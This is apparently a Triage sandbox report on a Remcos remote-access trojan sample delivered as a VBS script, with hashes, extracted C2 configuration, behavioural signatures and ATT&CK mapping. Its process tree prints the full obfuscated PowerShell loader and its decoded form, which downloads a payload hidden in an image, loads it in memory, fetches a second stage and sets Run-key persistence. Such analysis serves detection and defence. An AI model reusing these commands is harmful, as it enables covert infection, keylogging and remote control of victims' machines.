remcos | d27cb4de5a03f7b59ab211482839e4d18ec395c136079735636ca23b096531d0 | Triage

Analysis

max time kernel
298s
max time network
297s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
20-04-2024 09:46

Sharing

Report Analysis Logs

General

Target

IEnetworkings.vbs
Size

111KB
MD5

42d96a63fe345fe4a01752e1dcb06d1d
SHA1

f8d791007c1507cd15fdb53ee3f0ca477e7698ea
SHA256

d27cb4de5a03f7b59ab211482839e4d18ec395c136079735636ca23b096531d0
SHA512

b87b3f16a8f437731e8e26fb09478a708f0a079eeebd5cd22cac3f23f239c521a34c837fafacb1c979109bb173dc6227008f0c70df57a897a52461f2d0721b83
SSDEEP

1536:y++/U1lBHFcJUJI+YZb5bJ9Gmgz/+rtfRDFqGb5uJZUU0tKl9CP8Z:y/U1DHFUGmgURDFBe0tKl9CP4

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
notess
keylog_path
%AppData%
mouse_option
false
mutex
Rmc-P0AEMX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 3052 WScript.exe
4 3052 WScript.exe
5 3052 WScript.exe
7 880 powershell.exe
8 880 powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\WQQ.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 880 set thread context of 1268 880 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2692 powershell.exe
2692 powershell.exe
880 powershell.exe
880 powershell.exe
2976 powershell.exe
2976 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2692 powershell.exe
Token: SeDebugPrivilege 880 powershell.exe
Token: SeDebugPrivilege 2976 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

1268 RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3052 wrote to memory of 2692	3052	WScript.exe	powershell.exe
PID 3052 wrote to memory of 2692	3052	WScript.exe	powershell.exe
PID 2692 wrote to memory of 880	2692	powershell.exe	powershell.exe
PID 2692 wrote to memory of 880	2692	powershell.exe	powershell.exe
PID 880 wrote to memory of 2976	880	powershell.exe	powershell.exe
PID 880 wrote to memory of 2976	880	powershell.exe	powershell.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe
PID 880 wrote to memory of 1268	880	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IEnetworkings.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreRgBEDgTreFEDgTreVwDgTrevDgTreDQDgTreNDgTreDgTrexDgTreC8DgTreNQDgTre3DgTreC4DgTreMDgTreDgTre2DgTreC4DgTreNQDgTre5DgTreC4DgTreMwDgTreyDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBXDgTreFEDgTreUQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820', 'https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.FDQW/441/57.06.59.32//:ptth' , '1' , 'C:\ProgramData\' , 'WQQ','RegAsm',''))} }"
3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\WQQ.vbs
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:1268

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
88dc70c361a22feac57b031dd9c1f02f

SHA1
a9b4732260c2a323750022a73480f229ce25d46d

SHA256
43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

SHA512
19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
055811ca9a4418c39cc707fce536d2e1

SHA1
11375735b0b4cdc7f2703a35d1dad2fad53bc898

SHA256
21b2108bc1a7c57053c3b2709269de9c557a3af761bc842bddac9473ce92b1e6

SHA512
5ed714bc964b70bc30c9b40c9c171f8481bbc07b362e3c8f6e301c23b86222eb4dfc6e9e4bdcfc094a515a06b087fc4f0c6d7b149abfe16758d9cf31dc4f4109

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mjl1bogt.vhe.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\notess\logs.dat
Filesize
144B

MD5
5d4bb048883a074770a5949ac662aa41

SHA1
8efe4c0a09d2f06dd04851184939c5770086fc38

SHA256
d46547b38d03021a62f9232c82bbc547566ac1353b48aff5e3e38b034db9a62e

SHA512
d108aef9a68125c3681d45940697326abcb5493315c0441da16275775e57cd90c64b5d8d13a044868c9be42314723a3c6dc777443bdc900d6e304c0c15914cff

Download Submit
memory/880-24-0x000002756D890000-0x000002756D8A0000-memory.dmp

Filesize
64KB

Download
memory/880-53-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/880-23-0x000002756D890000-0x000002756D8A0000-memory.dmp

Filesize
64KB

Download
memory/880-33-0x000002756D890000-0x000002756D8A0000-memory.dmp

Filesize
64KB

Download
memory/880-34-0x0000027548000000-0x00000275482C2000-memory.dmp

Filesize
2.8MB

Download
memory/880-22-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/880-61-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/880-55-0x000002756D890000-0x000002756D8A0000-memory.dmp

Filesize
64KB

Download
memory/880-54-0x000002756D890000-0x000002756D8A0000-memory.dmp

Filesize
64KB

Download
memory/1268-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-148-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-147-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-139-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-132-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-131-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-124-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1268-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2692-19-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/2692-18-0x000002127AA10000-0x000002127AA32000-memory.dmp

Filesize
136KB

Download
memory/2692-51-0x000002127AA00000-0x000002127AA10000-memory.dmp

Filesize
64KB

Download
memory/2692-68-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/2692-20-0x000002127AA00000-0x000002127AA10000-memory.dmp

Filesize
64KB

Download
memory/2692-21-0x000002127AA00000-0x000002127AA10000-memory.dmp

Filesize
64KB

Download
memory/2692-35-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/2692-52-0x000002127AA00000-0x000002127AA10000-memory.dmp

Filesize
64KB

Download
memory/2976-44-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download
memory/2976-45-0x000002811AA60000-0x000002811AA70000-memory.dmp

Filesize
64KB

Download
memory/2976-46-0x000002811AA60000-0x000002811AA70000-memory.dmp

Filesize
64KB

Download
memory/2976-50-0x00007FFCAABF0000-0x00007FFCAB6B2000-memory.dmp

Filesize
10.8MB

Download